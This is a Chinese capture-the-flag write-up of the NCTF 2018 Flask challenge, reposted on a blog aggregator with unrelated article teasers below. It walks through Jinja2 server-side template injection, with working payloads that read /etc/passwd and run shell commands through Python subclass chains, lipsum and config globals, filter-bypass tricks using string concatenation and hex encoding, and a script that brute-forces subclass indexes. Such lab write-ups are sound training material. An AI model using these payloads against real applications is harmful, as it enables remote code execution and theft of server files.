[NCTF 2018]flask真香

          打开题目后没有提示框,尝试扫描后也没有什么结果,猜想是ssti。所以尝试寻找ssti的注入点并判断模版。

                                                                                                                                                           

模版判断方式:

在url地址中输入{7*7} 后发现不能识别执行。

                                                                                                                                                              尝试{{7*7}} ,执行成功,继续往下走注入{{7*'7'}},如果执行成功回显7777777说明是jinja2模板,如果回显是49就说明是Twig模板

                                                                                                                                                           

页面回显7777777,证明是jinjia2模板注入。接下来就可以利用漏洞尝试读取文件或者执行命令

  • 读取 /etc/passwdhttp://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
  • 执行命令(假设找到 os.system 子类):http://localhost:5000/?name={{''.__class__.__mro__[1].__subclasses__()[396]('ls').__call__()}}

常用类及语法:

__class__:表示实例对象所属的类。

__base__:类型对象的直接基类。

__bases__:类型对象的全部基类(以元组形式返回),通常实例对象没有此属性。

__mro__:一个由类组成的元组,在方法解析期间用于查找基类。

__subclasses__():返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表,并按定义顺序排序。

__init__:初始化类的构造函数,返回类型为function的方法。

__globals__:通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。

__dict__:包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。

__getattribute__():存在于实例、类和函数中的__getattribute__魔术方法。实际上,当针对实例化的对象进行点操作(例如:a.xxx / a.xxx())时,都会自动调用__getattribute__方法。因此,我们可以通过这个方法直接访问实例、类和函数的属性。

__getitem__():调用字典中的键值,实际上是调用此魔术方法。例如,a['b'] 就是 a.__getitem__('b')。

__builtins__:内建名称空间,包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。

__import__:动态加载类和函数,也可用于导入模块。常用于导入os模块,例如__import__('os').popen('ls').read()。

__str__():返回描述该对象的字符串,通常用于打印输出。

url_for:Flask框架中的一个方法,可用于获取__builtins__,且url_for.__globals__['__builtins__']包含current_app。

get_flashed_messages:Flask框架中的一个方法,可用于获取__builtins__,且get_flashed_messages.__globals__['__builtins__']包含current_app。

lipsum:Flask框架中的一个方法,可用于获取__builtins__,且lipsum.__globals__包含os模块(例如:{{lipsum.__globals__['os'].popen('ls').read()}})。

current_app:应用上下文的全局变量。

request:用于获取绕过字符串的参数,包括以下内容:

- request.args.x1:GET请求中的参数。
- request.values.x1:所有参数。
- request.cookies:cookies参数。
- request.headers:请求头参数。
- request.form.x1:POST请求中的表单参数(Content-Type为application/x-www-form-urlencoded或multipart/form-data)。
- request.data:POST请求中的数据(Content-Type为a/b)。
- request.json:POST请求中的JSON数据(Content-Type为application/json)。

config:当前应用的所有配置。还可以使用{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}来执行操作系统命令。

g:通过{{ g }}可以获取<flask.g of 'flask_ssti'>。

1)__class__用来查看变量所属的类,格式为变量.__class__

利用方式:

输入''.__class__
回显<class 'str'>

输入().__class__
回显<class 'tuple'>

输入{}.__class__
回显<class 'dict'>

输入[].__class__
回显<class 'list'>

(2)__bases__用来查看类的基类,格式为变量.__class__.__bases__

利用方式:

输入''.__class__.__bases__
回显(<class 'object'>,)

输入().__class__.__bases__
回显(<class 'object'>,)

输入{}.__class__.__bases__
回显(<class 'object'>,)

输入[].__class__.__bases__
回显(<class 'object'>,)

同时可结合数组,如:
输入 变量.__class__.__bases__[0]
可获得第一个基类                                                           

因此可以用{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}读取所有子类。

尝试后显示500,说明其中有一些语句是被过滤的。

用fuzz字典爆破过滤内容,发现过滤内容有很多,不是很清楚怎么进一步确定具体的过滤字符,参考别人的wp得知过滤内容如下:

class
subclasses
config
args
request
open
eval
import

有过滤的绕过方式:

1. 基于字符串连接运算符

不同的模板引擎可能支持不同的字符串连接运算符:

  • Jinja2 (Python): 可以使用 + 运算符
  • Twig (PHP): 可以使用 ~ 运算符
  • ERB (Ruby): 可以使用 + 运算符
jinjia2(py):
{{ 'c' + 'at /etc/passwd' }}
Twig (PHP):
{{ 'c' ~ 'at /etc/passwd' }} 
ERB (Ruby):
<%= 'c' + 'at /etc/passwd' %>

2. 使用内置函数和方法

许多模板引擎提供了处理字符串的内置函数或方法,可以用来拼接字符串:

jinjia2(py):
{{ ''.join(['c', 'at', ' ', '/etc/passwd']) }}
Twig (PHP):
{{ ['c', 'at', ' ', '/etc/passwd']|join }}
ERB (Ruby):
<%= ['c', 'at', ' ', '/etc/passwd'].join %>

3. 十六进制或 Unicode 编码

如果某些字符被直接过滤,可以尝试使用十六进制或 Unicode 编码绕过:

jinjia2(py):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
Twig (PHP):
{{ '\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' }}
ERB (Ruby):
<%= "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" %>

这题是有过滤构造payload,首先尝试字符串拼接的方式,因为这题的模版是jinjia2,所以连接符是“+”,构造payload:

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()}}

  • ()['__cla'+'ss__']:

    • 通过字符串拼接 __class__ 得到 __class__,访问元组的 __class__ 属性,返回元组的类对象 <class 'tuple'>
  • .__base__:

    • 访问 <class 'tuple'>__base__ 属性,即基类,返回 <class 'object'>
  • ['__subcl'+'asses__']():

    • 通过字符串拼接 __subclasses__ 得到 __subclasses__,调用 __subclasses__() 方法,返回一个包含所有子类的列表。

构造payload的基本步骤:

  1. 获取所有子类(jinjia2)

{{ [].__class__.__base__.__subclasses__() }}
  1. 查找文件操作类

通过索引访问子类,找到文件操作类:

{{ [].__class__.__base__.__subclasses__()[index] }} 
  1. 读取文件内容

一旦确定文件操作类的位置,可以读取文件内容:

{{ [].__class__.__base__.__subclasses__()[index]['__init__'].__globals__['__builtins__']['open']('/etc/passwd').read() }}

接下来通常使用查找eval函数或者是os模块来执行我们需要的命令

eval函数与os模块的作用:

eval 函数:

可以直接执行传入的字符串作为代码。因此,找到 eval 函数意味着可以执行任意代码,这通常是最直接和强大的攻击方式。

os模块:

os 模块提供了执行系统命令、文件操作等功能,利用 os 模块可以执行系统命令、读取或写入文件。

可以用这个脚本找到eval函数的位置,但这题找不到eval。

import requestsurl = input("请输入 URL:")found = Falsefor i in range(500):try:# 构造 payloadpayload = "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__['__builtins__']}}"data = {"name": payload}# 发送 POST 请求response = requests.post(url, data=data)# 检查响应状态码if response.status_code == 200:print(f"Response for index {i}: {response.text}")# 检查响应内容是否包含 "eval"if "eval" in response.text:print(f"Found eval at index: {i}")found = Truebreak  # 找到后退出循环except Exception as e:print(f"Error at index {i}: {e}")if not found:print("Did not find eval in the first 500 subclasses.")

尝试找os模块

找到了它的位置,可以构造payload验证一下。

{{()['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304]}}

验证说明正确,找到os模块后可以执行任意系统命令,

{{''['__cla'+'ss__'].__base__['__subcl'+'asses__']()[304].__init__.__globals__['pop'+'en']('cat /Th1s_is__F1114g').read()}}}

思路总结:

1、查看是否存在注入点,一般存在于:
  • 表单输入:检查应用程序中的所有表单,特别是那些将用户输入显示在页面上的表单字段。
  • URL 参数:观察 URL 中的参数,特别是那些用于动态生成内容的参数。
  • HTTP 头:某些应用程序会将 HTTP 头的信息(如 User-Agent、Referer)渲染到页面中。
  • Cookie:有时应用程序会将 Cookie 中的值渲染到页面中。
2、确定模板类型

例如:Jinja2 (Python)、 Freemarker (Java)、Twig (PHP)、ERB (Ruby)

3、初步构造payload,获取全局变量

(这个步骤注意查看页面,看是否存在过滤)

4、查找关键类、模块

eval、os模块等

5、根据查到的信息构造payload

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/348197.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【网络编程】基于TCP的服务器端/客户端

TCP是Transmission Control Protocol(传输控制协议)简写。因为TCP套接字是面向连接的&#xff0c;因此又称为基于流的套接字。 把协议分为多个层次&#xff0c;设计更容易&#xff0c;通过标准化操作设计开放式系统 网络层介绍 链路层 链路层是物理连接领域标准化的结果&…

Java从放弃到继续放弃

并发编程 为什么需要多线程&#xff1f; 由于硬件的发展&#xff0c;CPU的核数增多&#xff0c;如果仍然使用单线程对CPU资源会造成浪费。同时&#xff0c;单线程也会出现阻塞的问题。所以&#xff0c;选择向多线程转变。 多线程的使用使得程序能够并行计算&#xff0c;提高计…

问题:以下被纳入代理资产风险分类管理的业务包括() #媒体#知识分享

问题&#xff1a;以下被纳入代理资产风险分类管理的业务包括&#xff08;&#xff09; A&#xff0e;非标准化理财投资业务 B&#xff0e;特定债权投资业务 C&#xff0e;委托债权代理业务 D&#xff0e;非标准化代理销售业务 参考答案如图所示

【C++ | 移动构造函数】一文了解C++的 移动构造函数

&#x1f601;博客主页&#x1f601;&#xff1a;&#x1f680;https://blog.csdn.net/wkd_007&#x1f680; &#x1f911;博客内容&#x1f911;&#xff1a;&#x1f36d;嵌入式开发、Linux、C语言、C、数据结构、音视频&#x1f36d; &#x1f923;本文内容&#x1f923;&a…

java多线程临界区介绍

在Java多线程编程中&#xff0c;"临界区"是指一段必须互斥执行的代码区域。当多个线程访问共享资源时&#xff0c;为了防止数据不一致或逻辑错误&#xff0c;需要确保同一时刻只有一个线程可以进入临界区。Java提供了多种机制来实现这一点&#xff0c;例如synchroniz…

机器学习——集成学习和梯度提升决策树

集成学习 不同的算法都可以对解决同一个问题&#xff0c;但是可能准确率不同&#xff0c;集成学习就是不同算法按照某种组合来解决问题&#xff0c;使得准确率提升。 那怎么组合算法呢&#xff1f; 自举聚合算法**&#xff08;bagging&#xff09;** 顾名思义是 自举聚合 自举…

机器学习多场景实战

机器学习已不再局限于理论探讨&#xff0c;而是广泛渗透到我们生活的方方面面&#xff0c;成为解决复杂问题、优化决策过程的强有力工具。从智能推荐系统个性化推送你可能喜爱的电影和商品&#xff0c;到金融风控领域精准识别欺诈交易&#xff1b;每一个应用场景都是机器学习技…

VsCode中C文件调用其他C文件函数失败

之前一直使用CodeBlocks&#xff0c;最近使用vscode多&#xff0c;感觉它比较方便&#xff0c;但在调用其他C文件的时候发现报错以下内容基于单C文件运行成功&#xff0c;否则请移步 博文&#xff1a;VSCode上搭建C/C开发环境 报错信息 没有使用CodeRunner插件&#xff0c;弹…

Shell脚本 if语句

条件测试&#xff1a; $? 返回码 判断命令或者脚本是否执行成功&#xff08;最近的一条&#xff09; 0 true 为真就是成功 成立 非0 false 失败或者异常 test命令 可以进行条件测试 然后根据的是返回值来判断条件是否成立。 -e 测试目录或者文件是否存在 exist -d 测试…

Docker 管理 | 代理配置、内网共享和 Harbor 部署

唠唠闲话 在现代软件开发和运维中&#xff0c;容器技术已经成为构建、部署和管理应用程序的标准工具。然而&#xff0c;在实际操作中&#xff0c;我们常常需要面对一些常见的挑战&#xff0c;如容器访问外部资源的代理配置、内网环境下的镜像共享以及企业级镜像管理。 本教程…

Chrome/Edge浏览器视频画中画可拉动进度条插件

目录 前言 一、Separate Window 忽略插件安装&#xff0c;直接使用 注意事项 插件缺点 1 .无置顶功能 2.保留原网页&#xff0c;但会刷新原网页 3.窗口不够美观 二、弹幕画中画播放器 三、失败的尝试 三、Potplayer播放器 总结 前言 平时看一些视频的时候&#xff…

vivado HW_SIO_RX

HW_SIO_RX 描述 在硬件设备上&#xff0c;每个GT包括一个独立的接收器hw_sio_rx 由一个PCS和一个PMA组成。高速串行数据从板上的迹线流入 GTX/GTH收发器RX的PMA&#xff0c;进入PCS&#xff0c;最后进入FPGA逻辑。 相关对象 HW_SIO_RX对象与HW_server、HW_target、HW_device、H…

迅狐跨境商城系统|全平台兼容|前端采用uni-app跨端框架,后端采用ThinkPHP5框架

高效实现全平台兼容的迅狐跨境商城系统 迅狐跨境商城系统是一款专为跨境电商企业设计的全平台兼容系统。其前端采用uni-app跨端框架&#xff0c;后端采用ThinkPHP5框架&#xff0c;旨在实现高效的开发和运营管理。 1. 全平台兼容的前端设计 迅狐跨境商城系统的前端采用uni-a…

LeetCode | 27.移除元素

这道题的思路和26题一模一样&#xff0c;由于要在元素组中修改&#xff0c;我们可以设置一个index表示目前要修改原数组的第几位&#xff0c;由于遍历&#xff0c;访问原数组永远会在我们修改数组之前&#xff0c;所以不用担心数据丢失的问题&#xff0c;一次遍历数组&#xff…

晨持绪科技:抖音网店怎么做有前景

在数字时代的浪潮中&#xff0c;抖音平台以其独特的魅力和庞大的用户基础成为电商的新阵地。开设一家有前景的抖音网店&#xff0c;不仅需要对市场脉搏有敏锐的洞察力&#xff0c;还需融合创新思维与数据驱动的营销策略。 明确定位是成功的先声。深入分析目标消费群体的需求与偏…

函数递归(C语言)(详细过程!)

函数递归 一. 递归是什么1.1 递归的思想1.2 递归的限制条件 二. 递归举例2.1 求n的阶乘2.2 按顺序打印一个整数的每一位 三. 递归与迭代3.1 求第n个斐波那契数 一. 递归是什么 递归是学习C语言很重要的一个知识&#xff0c;递归就是函数自己调用自己&#xff0c;是一种解决问题…

为什么电容两端电压不能突变

我们先从RC延时电路说起吧&#xff0c;图1是最简单的RC延时电路&#xff0c;给一个阶跃的电压信号&#xff0c;电压会变成黄色曲线这个样子&#xff0c;这是为什么呢&#xff1f; 图1 电压跳变后&#xff0c;电源负极电子移动到电容下极板&#xff0c;排斥上极板电子流动到电源…

string经典题目(C++)

文章目录 前言一、最长回文子串1.题目解析2.算法原理3.代码编写 二、字符串相乘1.题目解析2.算法原理3.代码编写 总结 前言 一、最长回文子串 1.题目解析 给你一个字符串 s&#xff0c;找到 s 中最长的回文子串。 示例 1&#xff1a; 输入&#xff1a;s “babad” 输出&am…

机器学习笔记 - 用于3D数据分类、分割的Point Net简述

一、简述 在本文中,我们将了解Point Net,目前,处理图像数据的方法有很多。从传统的计算机视觉方法到使用卷积神经网络到Transformer方法,几乎任何 2D 图像应用都会有某种现有的方法。然而,当涉及到 3D 数据时,现成的工具和方法并不那么丰富。3D 空间中一个工具就是Point …

HTML静态网页成品作业(HTML+CSS)—— 非遗皮影戏介绍网页(6个页面)

&#x1f389;不定期分享源码&#xff0c;关注不丢失哦 文章目录 一、作品介绍二、作品演示三、代码目录四、网站代码HTML部分代码 五、源码获取 一、作品介绍 &#x1f3f7;️本套采用HTMLCSS&#xff0c;未使用Javacsript代码&#xff0c;共有6个页面。 二、作品演示 三、代…